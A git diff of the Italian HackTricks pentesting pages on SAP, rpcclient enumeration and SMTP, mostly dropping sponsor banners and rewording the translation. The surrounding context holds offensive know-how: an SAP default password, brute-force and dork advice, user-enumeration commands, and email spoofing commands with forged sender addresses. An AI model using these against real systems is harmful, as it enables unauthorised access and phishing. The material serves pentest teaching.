+Ogni istanza SAP \(o SID\) è composta da tre livelli: database, applicazione e presentazione\), ogni paesaggio di solito consiste di quattro istanze: dev, test, QA e produzione. Ognuno dei livelli può essere sfruttato in una certa misura, ma il massimo effetto può essere ottenuto **attaccando il database**.
 
-SAP sta per Systems Applications and Products in Data Processing. SAP, per definizione, è anche il nome del software ERP \(Enterprise Resource Planning\) così come il nome dell'azienda.
-Il sistema SAP è composto da un numero di moduli completamente integrati, che coprono praticamente ogni aspetto della gestione aziendale.
+Ogni istanza SAP è divisa in client. Ognuno ha un utente SAP\*, l'equivalente dell'applicazione di "root". Alla creazione iniziale, questo utente SAP\* riceve una password predefinita: “060719992” \(ulteriori password predefinite di seguito\). Rimarreste sorpresi se sapeste quanto spesso queste **password non vengono cambiate negli ambienti di test o dev**!
 
-Ogni istanza SAP \(o SID\) è composta da tre livelli: database, applicazione e presentazione\), ogni paesaggio di solito consiste di quattro istanze: dev, test, QA e produzione.
-Ognuno dei livelli può essere sfruttato in una certa misura, ma il massimo effetto può essere ottenuto **attaccando il database**.
-
-Ogni istanza SAP è divisa in client. Ognuno ha un utente SAP\*, l'equivalente dell'applicazione di "root".
-Al momento della creazione iniziale, questo utente SAP\* riceve una password predefinita: “060719992” \(ulteriori password predefinite di seguito\).
-Saresti sorpreso se sapessi quanto spesso queste **password non vengono cambiate negli ambienti di test o dev**!
-
-Cerca di ottenere accesso alla shell di qualsiasi server utilizzando il nome utente <SID>adm.
-Il bruteforcing può aiutare, tuttavia potrebbe esserci un meccanismo di blocco dell'account.
+Cercate di accedere alla shell di qualsiasi server utilizzando il nome utente <SID>adm. Il bruteforcing può aiutare, ma potrebbe esserci un meccanismo di blocco dell'account.
 
 # Scoperta
 
 > La sezione successiva proviene principalmente da [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) dell'utente shipcod3!
 
-- Controlla l'Application Scope o il Program Brief per il testing. Prendi nota dei nomi host o delle istanze di sistema per connetterti a SAP GUI.
-- Usa OSINT \(open source intelligence\), Shodan e Google Dorks per controllare file, sottodomini e informazioni preziose se l'applicazione è esposta a Internet o pubblica:
+- Controlla l'ambito dell'applicazione o il programma di prova. Prendi nota dei nomi host o delle istanze di sistema per connetterti a SAP GUI.
+- Usa OSINT \(open source intelligence\), Shodan e Google Dorks per controllare file, sottodomini e informazioni interessanti se l'applicazione è esposta a Internet o pubblica:
 ```text
 inurl:50000/irj/portal
 inurl:IciEventService/IciEventConf
@@ -42,8 +33,8 @@ https://www.shodan.io/search?query=SAP+J2EE+Engine
 - Scansiona gli URL se è in esecuzione un server web.
 - Fuzz le directory \(puoi usare Burp Intruder\) se ha server web su determinate porte. Ecco alcune buone wordlist fornite dal SecLists Project per trovare i percorsi ICM SAP predefiniti e altre directory o file interessanti:
 
-[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)  
-[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)  
+[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
+[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
 [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
 
 - Usa il modulo ausiliario Metasploit SAP SERVICE DISCOVERY per enumerare le istanze/servizi/componenti SAP:
@@ -199,28 +190,28 @@ Ad esempio, se gw/reg_no_conn_info è impostato a meno di 255 (`<255`), a
 | `bdc/bdel_auth_check`                         | `FALSE`    | Determina se i controlli di autorizzazione sono applicati in BDC.            |
 | `gw/reg_no_conn_info`                         | `<255`     | Limita il numero di caratteri per le informazioni di connessione del numero di registrazione. |
 | `icm/security_log`                            | `2`        | Definisce il livello di log di sicurezza per ICM (Internet Communication Manager). |
-| `icm/server_port_0`                           | `Display`  | Specifica la porta del server per ICM (porta 0).                              |
-| `icm/server_port_1`                           | `Display`  | Specifica la porta del server per ICM (porta 1).                              |
-| `icm/server_port_2`                           | `Display`  | Specifica la porta del server per ICM (porta 2).                              |
-| `login/password_compliance_to_current_policy` | `0`        | Impone la conformità della password alla politica attuale.                    |
-| `login/no_automatic_user_sapstar`             | `0`        | Disabilita l'assegnazione automatica dell'utente SAPSTAR.                    |
-| `login/min_password_specials`                 | `0`        | Numero minimo di caratteri speciali richiesti nelle password.                 |
-| `login/min_password_lng`                      | `<8`       | Lunghezza minima richiesta per le password.                                   |
-| `login/min_password_lowercase`                | `0`        | Numero minimo di lettere minuscole richieste nelle password.                 |
-| `login/min_password_uppercase`                | `0`        | Numero minimo di lettere maiuscole richieste nelle password.                 |
-| `login/min_password_digits`                   | `0`        | Numero minimo di cifre richieste nelle password.                              |
-| `login/min_password_letters`                  | `1`        | Numero minimo di lettere richieste nelle password.                            |
+| `icm/server_port_0`                           | `Display`  | Specifica la porta del server per ICM (porta 0).                             |
+| `icm/server_port_1`                           | `Display`  | Specifica la porta del server per ICM (porta 1).                             |
+| `icm/server_port_2`                           | `Display`  | Specifica la porta del server per ICM (porta 2).                             |
+| `login/password_compliance_to_current_policy` | `0`        | Impone la conformità della password alla politica attuale.                   |
+| `login/no_automatic_user_sapstar`             | `0`        | Disabilita l'assegnazione automatica dell'utente SAPSTAR.                   |
+| `login/min_password_specials`                 | `0`        | Numero minimo di caratteri speciali richiesti nelle password.                |
+| `login/min_password_lng`                      | `<8`       | Lunghezza minima richiesta per le password.                                  |
+| `login/min_password_lowercase`                | `0`        | Numero minimo di lettere minuscole richieste nelle password.                |
+| `login/min_password_uppercase`                | `0`        | Numero minimo di lettere maiuscole richieste nelle password.                |
+| `login/min_password_digits`                   | `0`        | Numero minimo di cifre richieste nelle password.                             |
+| `login/min_password_letters`                  | `1`        | Numero minimo di lettere richieste nelle password.                           |
 | `login/fails_to_user_lock`                    | `<5`       | Numero di tentativi di accesso non riusciti prima di bloccare l'account utente. |
 | `login/password_expiration_time`              | `>90`      | Tempo di scadenza della password in giorni.                                  |
 | `login/password_max_idle_initial`             | `<14`      | Tempo massimo di inattività in minuti prima di richiedere il reinserimento della password (iniziale). |
 | `login/password_max_idle_productive`          | `<180`     | Tempo massimo di inattività in minuti prima di richiedere il reinserimento della password (produttivo). |
-| `login/password_downwards_compatibility`      | `0`        | Specifica se la compatibilità all'indietro per le password è abilitata.      |
+| `login/password_downwards_compatibility`      | `0`        | Specifica se la compatibilità verso il basso per le password è abilitata.   |
 | `rfc/reject_expired_passwd`                   | `0`        | Determina se le password scadute sono rifiutate per gli RFC (Remote Function Calls). |
-| `rsau/enable`                                 | `0`        | Abilita o disabilita i controlli RS AU (Autorizzazione).                      |
-| `rdisp/gui_auto_logout`                       | `<5`       | Specifica il tempo in minuti prima del logout automatico delle sessioni GUI.  |
-| `service/protectedwebmethods`                 | `SDEFAULT` | Specifica le impostazioni predefinite per i metodi web protetti.              |
-| `snc/enable`                                  | `0`        | Abilita o disabilita la Comunicazione di Rete Sicura (SNC).                  |
-| `ucon/rfc/active`                             | `0`        | Attiva o disattiva gli RFC UCON (Unified Connectivity).                       |
+| `rsau/enable`                                 | `0`        | Abilita o disabilita i controlli RS AU (Autorizzazione).                     |
+| `rdisp/gui_auto_logout`                       | `<5`       | Specifica il tempo in minuti prima del logout automatico delle sessioni GUI. |
+| `service/protectedwebmethods`                 | `SDEFAULT` | Specifica le impostazioni predefinite per i metodi web protetti.            |
+| `snc/enable`                                  | `0`        | Abilita o disabilita la Comunicazione di Rete Sicura (SNC).                 |
+| `ucon/rfc/active`                             | `0`        | Attiva o disattiva gli RFC UCON (Unified Connectivity).                      |
 
 ## Script per il Controllo dei Parametri
 
@@ -370,8 +361,5 @@ bizploit> start
 - [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
 - [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
 
-

-
-{% embed url="https://websec.nl/" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
index 82e68109a..c016b20be 100644
--- a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
+++ b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@@ -2,11 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Masterizza la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 ### Panoramica degli Identificatori Relativi (RID) e degli Identificatori di Sicurezza (SID)
 
@@ -19,7 +14,7 @@ Ad esempio, un utente di nome `pepe` potrebbe avere un identificatore unico che
 
 ### **Enumerazione con rpcclient**
 
-L'utility **`rpcclient`** di Samba è utilizzata per interagire con **endpoint RPC attraverso pipe nominate**. Di seguito i comandi che possono essere emessi alle interfacce SAMR, LSARPC e LSARPC-DS dopo che una **sessione SMB è stata stabilita**, spesso richiedendo credenziali.
+L'utility **`rpcclient`** di Samba è utilizzata per interagire con **endpoint RPC tramite pipe nominate**. Di seguito i comandi che possono essere emessi alle interfacce SAMR, LSARPC e LSARPC-DS dopo che una **sessione SMB è stata stabilita**, spesso richiedendo credenziali.
 
 #### Informazioni sul Server
 
@@ -27,7 +22,7 @@ L'utility **`rpcclient`** di Samba è utilizzata per interagire con **endpoint R
 
 #### Enumerazione degli Utenti
 
-- **Gli utenti possono essere elencati** usando: `querydispinfo` e `enumdomusers`.
+- **Gli utenti possono essere elencati** utilizzando: `querydispinfo` e `enumdomusers`.
 - **Dettagli di un utente** con: `queryuser <0xrid>`.
 - **Gruppi di un utente** con: `queryusergroups <0xrid>`.
 - **Il SID di un utente viene recuperato** tramite: `lookupnames `.
@@ -53,7 +48,7 @@ done
 
 #### Enumerazione dei Domini
 
-- **Domini** utilizzando: `enumdomains`.
+- **Domini** usando: `enumdomains`.
 - **Il SID di un dominio viene recuperato** tramite: `lsaquery`.
 - **Le informazioni sul dominio vengono ottenute** con: `querydominfo`.
 
@@ -64,11 +59,11 @@ done
 
 #### Operazioni Aggiuntive con SIDs
 
-- **SIDs per nome** utilizzando: `lookupnames `.
-- **Altri SIDs** attraverso: `lsaenumsid`.
-- **Ciclo RID per controllare più SIDs** viene eseguito con: `lookupsids `.
+- **SIDs per nome** usando: `lookupnames `.
+- **Altri SIDs** tramite: `lsaenumsid`.
+- **Ciclismo RID per controllare più SIDs** viene eseguito con: `lookupsids `.
 
-#### **Comandi Extra**
+#### **Comandi extra**
 
 | **Comando**         | **Interfaccia**                                                                                                                                     | **Descrizione**                                                                                                                           |
 | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
@@ -88,10 +83,5 @@ done
 
 Per **comprendere** meglio come funzionano gli strumenti _**samrdump**_ **e** _**rpcdump**_ dovresti leggere [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md
index 3e8efc0ff..2cb68db6b 100644
--- a/src/network-services-pentesting/pentesting-smtp/README.md
+++ b/src/network-services-pentesting/pentesting-smtp/README.md
@@ -2,19 +2,11 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un impatto reale sul business.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 ## **Informazioni di base**
 
-Il **Simple Mail Transfer Protocol (SMTP)** è un protocollo utilizzato all'interno della suite TCP/IP per il **invio e la ricezione di e-mail**. A causa delle sue limitazioni nel mettere in coda i messaggi alla fine del destinatario, SMTP è spesso impiegato insieme a **POP3 o IMAP**. Questi protocolli aggiuntivi consentono agli utenti di memorizzare i messaggi su una casella di posta del server e di scaricarli periodicamente.
+Il **Simple Mail Transfer Protocol (SMTP)** è un protocollo utilizzato all'interno della suite TCP/IP per l'**invio e la ricezione di e-mail**. A causa delle sue limitazioni nella gestione dei messaggi alla fine del destinatario, SMTP è spesso impiegato insieme a **POP3 o IMAP**. Questi protocolli aggiuntivi consentono agli utenti di memorizzare i messaggi su una casella di posta del server e di scaricarli periodicamente.
 
-In pratica, è comune che i **programmi di posta elettronica** utilizzino **SMTP per inviare e-mail**, mentre utilizzano **POP3 o IMAP per riceverle**. Nei sistemi basati su Unix, **sendmail** si distingue come il server SMTP più frequentemente utilizzato per scopi di posta elettronica. Il pacchetto commerciale noto come Sendmail comprende un server POP3. Inoltre, **Microsoft Exchange** fornisce un server SMTP e offre l'opzione di includere il supporto POP3.
+Nella pratica, è comune che i **programmi di posta elettronica** utilizzino **SMTP per inviare e-mail**, mentre utilizzano **POP3 o IMAP per riceverle**. Su sistemi basati su Unix, **sendmail** si distingue come il server SMTP più frequentemente utilizzato per scopi di posta elettronica. Il pacchetto commerciale noto come Sendmail comprende un server POP3. Inoltre, **Microsoft Exchange** fornisce un server SMTP e offre l'opzione di includere il supporto POP3.
 
 **Porta predefinita:** 25,465(ssl),587(ssl)
 ```
@@ -66,7 +58,7 @@ NTLM supported
 >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
 ```
-Oppure **automatizza** questo con il plugin **nmap** `smtp-ntlm-info.nse`
+O **automatizza** questo con il plugin **nmap** `smtp-ntlm-info.nse`
 
 ### Nome del server interno - Divulgazione di informazioni
 
@@ -91,7 +83,7 @@ MAIL FROM: me
 ```
 ### Sniffing
 
-Controlla se riesci a intercettare alcune password dai pacchetti sulla porta 25
+Controlla se riesci a sniffare alcune password dai pacchetti sulla porta 25
 
 ### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp)
 
@@ -156,19 +148,11 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum
 smtp-user-enum: smtp-user-enum -M  -u  -t 
 Nmap: nmap --script smtp-enum-users 
 ```
-

+## DSN Reports
 
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
+**Rapporti di Notifica dello Stato di Consegna**: Se invii un **email** a un'organizzazione a un **indirizzo non valido**, l'organizzazione ti notificherà che l'indirizzo era invalido inviando un **mail di ritorno**. Gli **header** dell'email restituita conterranno possibili **informazioni sensibili** (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sul software antivirus).
 
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
-## Rapporti DSN
-
-**Rapporti di Notifica dello Stato di Consegna**: Se invii un **email** a un'organizzazione a un **indirizzo non valido**, l'organizzazione notificherà che l'indirizzo era invalido inviando una **mail di ritorno a te**. Le **intestazioni** dell'email restituita conterranno possibili **informazioni sensibili** (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sul software antivirus).
-
-## [Comandi](smtp-commands.md)
+## [Commands](smtp-commands.md)
 
 ### Inviare un'Email dalla console linux
 ```bash
@@ -251,7 +235,7 @@ Una **guida completa a queste contromisure** è disponibile su [https://seantheg
 
 > [!CAUTION]
 > SPF [è stato "deprecato" nel 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Questo significa che invece di creare un **record TXT** in `_spf.domain.com` lo crei in `domain.com` utilizzando la **stessa sintassi**.\
-> Inoltre, per riutilizzare i record spf precedenti è abbastanza comune trovare qualcosa come `"v=spf1 include:_spf.google.com ~all"`
+> Inoltre, per riutilizzare i precedenti record spf è abbastanza comune trovare qualcosa come `"v=spf1 include:_spf.google.com ~all"`
 
 **Sender Policy Framework** (SPF) è un meccanismo che consente ai Mail Transfer Agents (MTAs) di verificare se un host che invia un'email è autorizzato interrogando un elenco di server di posta autorizzati definiti dalle organizzazioni. Questo elenco, che specifica indirizzi/range IP, domini e altre entità **autorizzate a inviare email per conto di un nome di dominio**, include vari "**Meccanismi**" nel record SPF.
 
@@ -262,17 +246,17 @@ Da [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
 | Meccanismo | Descrizione                                                                                                                                                                                                                                                                                                                         |
 | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | ALL         | Corrisponde sempre; utilizzato per un risultato predefinito come `-all` per tutti gli IP non corrispondenti ai meccanismi precedenti.                                                                                                                                                                                              |
-| A           | Se il nome di dominio ha un record di indirizzo (A o AAAA) che può essere risolto nell'indirizzo del mittente, corrisponderà.                                                                                                                                                                                                       |
+| A           | Se il nome di dominio ha un record di indirizzo (A o AAAA) che può essere risolto nell'indirizzo del mittente, corrisponderà.                                                                                                                                                                                                        |
 | IP4         | Se il mittente si trova in un dato intervallo di indirizzi IPv4, corrisponde.                                                                                                                                                                                                                                                       |
 | IP6         | Se il mittente si trova in un dato intervallo di indirizzi IPv6, corrisponde.                                                                                                                                                                                                                                                       |
 | MX          | Se il nome di dominio ha un record MX che risolve nell'indirizzo del mittente, corrisponderà (cioè la posta proviene da uno dei server di posta in arrivo del dominio).                                                                                                                                                             |
 | PTR         | Se il nome di dominio (record PTR) per l'indirizzo del client è nel dominio dato e quel nome di dominio si risolve nell'indirizzo del client (DNS inverso confermato), corrisponde. Questo meccanismo è sconsigliato e dovrebbe essere evitato, se possibile.                                                                        |
 | EXISTS      | Se il nome di dominio dato si risolve in qualsiasi indirizzo, corrisponde (indipendentemente dall'indirizzo a cui si risolve). Questo è raramente usato. Insieme al linguaggio macro SPF offre corrispondenze più complesse come le query DNSBL.                                                                                   |
-| INCLUDE     | Riferisce alla politica di un altro dominio. Se la politica di quel dominio passa, questo meccanismo passa. Tuttavia, se la politica inclusa fallisce, l'elaborazione continua. Per delegare completamente alla politica di un altro dominio, deve essere utilizzata l'estensione di reindirizzamento.                                          |
+| INCLUDE     | Riferisce alla politica di un altro dominio. Se la politica di quel dominio passa, questo meccanismo passa. Tuttavia, se la politica inclusa fallisce, l'elaborazione continua. Per delegare completamente alla politica di un altro dominio, deve essere utilizzata l'estensione di reindirizzamento.                                   |
 | REDIRECT    | 
Un reindirizzamento è un puntatore a un altro nome di dominio che ospita una politica SPF, consente a più domini di condividere la stessa politica SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.
La politica SPF del dominio indicato nel meccanismo di reindirizzamento sarà utilizzata.
 |
 
 È anche possibile identificare **Qualificatori** che indicano **cosa dovrebbe essere fatto se un meccanismo corrisponde**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se un meccanismo corrisponde, significa che è consentito).\
-Di solito noterai **alla fine di ogni politica SPF** qualcosa come: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non affidabile (\~) o rifiutare (-) l'email.**
+Di solito noterai **alla fine di ogni politica SPF** qualcosa come: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non attendibile (\~) o rifiutare (-) l'email.**
 
 #### Qualificatori
 
@@ -302,7 +286,7 @@ _netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36
 dig txt _netblocks3.google.com | grep spf
 _netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
 ```
-Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/o assente. **Oggigiorno**, se **l'email** proviene da un **dominio senza un record SPF valido** verrà probabilmente **rifiutata/marcata come non attendibile automaticamente**.
+Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/o assente. **Oggigiorno**, se **l'email** proviene da un **dominio senza un record SPF valido** verrà probabilmente **rifiutata/marcata come non affidabile automaticamente**.
 
 Per controllare lo SPF di un dominio puoi utilizzare strumenti online come: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
 
@@ -367,7 +351,7 @@ Questo ha senso: un sottodominio potrebbe trovarsi in una posizione geografica d
 
 ### **Open Relay**
 
-Quando vengono inviate email, è fondamentale garantire che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un **server di relay di fiducia per il destinatario**. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere completamente consapevoli di quali **intervalli IP siano sicuri da consentire**. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio frequentemente identificato nelle valutazioni di sicurezza.
+Quando vengono inviate email, è fondamentale assicurarsi che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un **server di relay di cui si fida il destinatario**. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere completamente consapevoli di quali **intervalli IP siano sicuri da consentire**. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio frequentemente identificato nelle valutazioni di sicurezza.
 
 Una soluzione alternativa che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente riguardo alle comunicazioni con clienti potenziali o in corso, è **consentire connessioni da qualsiasi indirizzo IP**. Questo viene fatto configurando il parametro `mynetworks` del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito:
 ```bash
@@ -379,7 +363,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
 ```
 ### **Strumenti**
 
-- [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Controlla le misconfigurazioni di SPF e DMARC**
+- [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Controlla le configurazioni errate di SPF e DMARC**
 - [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Ottieni automaticamente le configurazioni di SPF e DMARC**
 
 ### Invia Email Spoof
@@ -398,7 +382,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
 python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
 ```
 > [!WARNING]
-> Se ricevi un **errore utilizzando la libreria python dkim** durante l'analisi della chiave, sentiti libero di utilizzare la seguente.\
+> Se ricevi un **errore utilizzando la libreria python dkim** durante l'analisi della chiave, sentiti libero di utilizzare questa seguente.\
 > **NOTA**: Questa è solo una soluzione temporanea per effettuare controlli rapidi nei casi in cui, per qualche motivo, la chiave privata openssl **non può essere analizzata da dkim**.
 >
 > ```
@@ -425,7 +409,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE
 {{#tab name="PHP"}}
 
 
# Questo invierà un messaggio non firmato
-mail("your_email@gmail.com", "Test Subject!", "hey! Questo è un test", "From: administrator@victim.com");
+mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
 

 
 {{#endtab}}
@@ -575,12 +559,4 @@ Note: sourced from https://github.com/carlospolop/legion
 Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
 
 ```
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md
index 624b947e9..34437d1cc 100644
--- a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md
+++ b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md
@@ -2,21 +2,13 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue web app, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 **Comandi da:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
 
 **HELO**\
 È il primo comando SMTP: inizia la conversazione identificando il server mittente ed è generalmente seguito dal suo nome di dominio.
 
 **EHLO**\
-Un comando alternativo per iniziare la conversazione, sottolineando che il server sta utilizzando il protocollo SMTP Esteso.
+Un comando alternativo per avviare la conversazione, sottolineando che il server sta utilizzando il protocollo SMTP Esteso.
 
 **MAIL FROM**\
 Con questo comando SMTP iniziano le operazioni: il mittente indica l'indirizzo email di origine nel campo "From" e inizia effettivamente il trasferimento dell'email.
@@ -25,7 +17,7 @@ Con questo comando SMTP iniziano le operazioni: il mittente indica l'indirizzo e
 Identifica il destinatario dell'email; se ce ne sono più di uno, il comando viene semplicemente ripetuto indirizzo per indirizzo.
 
 **SIZE**\
-Questo comando SMTP informa il server remoto sulla dimensione stimata (in termini di byte) dell'email allegata. Può anche essere utilizzato per segnalare la dimensione massima di un messaggio che può essere accettato dal server.
+Questo comando SMTP informa il server remoto sulla dimensione stimata (in termini di byte) dell'email allegata. Può anche essere utilizzato per segnalare la dimensione massima di un messaggio da accettare dal server.
 
 **DATA**\
 Con il comando DATA inizia il trasferimento del contenuto dell'email; è generalmente seguito da un codice di risposta 354 fornito dal server, che dà il permesso di iniziare la trasmissione effettiva.
@@ -37,26 +29,18 @@ Si chiede al server di verificare se un particolare indirizzo email o nome utent
 Questo comando viene utilizzato per invertire i ruoli tra il client e il server, senza la necessità di eseguire una nuova connessione.
 
 **AUTH**\
-Con il comando AUTH, il client si autentica al server, fornendo il proprio nome utente e password. È un ulteriore livello di sicurezza per garantire una trasmissione corretta.
+Con il comando AUTH, il client si autentica presso il server, fornendo il proprio nome utente e password. È un ulteriore livello di sicurezza per garantire una trasmissione corretta.
 
 **RSET**\
-Comunica al server che la trasmissione email in corso sta per essere terminata, anche se la conversazione SMTP non verrà chiusa (come nel caso di QUIT).
+Comunica al server che la trasmissione dell'email in corso sta per essere terminata, anche se la conversazione SMTP non verrà chiusa (come nel caso di QUIT).
 
 **EXPN**\
 Questo comando SMTP richiede una conferma sull'identificazione di una mailing list.
 
 **HELP**\
-È una richiesta del client per alcune informazioni che possono essere utili per un trasferimento email di successo.
+È una richiesta del client per alcune informazioni che possono essere utili per un trasferimento riuscito dell'email.
 
 **QUIT**\
 Termina la conversazione SMTP.
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue web app, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md
